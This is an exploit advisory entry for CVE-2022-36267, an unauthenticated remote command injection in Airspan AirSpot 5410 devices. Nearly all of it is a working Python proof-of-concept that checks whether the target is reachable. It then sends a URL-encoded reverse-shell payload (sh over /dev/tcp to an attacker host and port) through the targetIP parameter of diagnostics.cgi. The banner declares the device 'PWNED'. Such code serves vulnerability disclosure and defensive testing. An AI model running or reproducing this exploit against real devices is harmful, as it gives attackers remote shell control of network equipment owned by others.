AirSpot 5410 0.3.4.1-4 Remote Command Injection

2022.08.12
Credit: Samy Younsi
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

# -*- coding: utf-8 -*- # Exploit Title: AirSpot unauthenticated remote command injection # Date: 7/26/2022 # Exploit Author: Samy Younsi (NSLABS) (https://samy.link) # Vendor Homepage: https://www.airspan.com/ # Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf # Version: 0.3.4.1-4 and under. # Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu) # CVE : CVE-2022-36267 from __future__ import print_function, unicode_literals import argparse import requests import urllib3 urllib3.disable_warnings() def banner(): airspanLogo = """ ,-. / \ `. __..-,O : \ --''_..-'.' | . .-' `. '. : . .`.' \ `. / .. \ `. ' . `, `. \ ,|,`. `-.\ '.|| ``-...__..-` | | Airspan |__| AirSpot 5410 /||\ PWNED x_x //||\\ // || \\ __//__||__\\__ '--------------'Necrum Security Labs \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mAirSpot 5410 CMD INJECTION\033[1;m FOR EDUCATIONAL PURPOSE ONLY. """ return print('\033[1;94m{}\033[1;m'.format(airspanLogo)) def pingWebInterface(RHOST, RPORT): url = 'https://{}:{}'.format(RHOST, RPORT) try: response = requests.get(url, allow_redirects=False, verify=False, timeout=30) if response.status_code != 200: print('[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m') exit() print('[INFO] Airspan device web interface seems reachable!') except: print('[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m') exit() def execReverseShell(RHOST, RPORT, LHOST, LPORT): payload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT) data = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload) try: print('[INFO] Executing reverse shell...') response = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False) print("Reverse shell successfully executed. {}:{}".format(LHOST, LPORT)) return except Exception as e: print("Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}").format(LHOST, LPORT) return False def main(): banner() args = parser.parse_args() pingWebInterface(args.RHOST, args.RPORT) execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False) parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (Airspan AirSpot device)", type=str, required=True) parser.add_argument('--RPORT', help="Refers to the open port of the target machine. (443 by default)", type=int, required=True) parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True) parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True) main()


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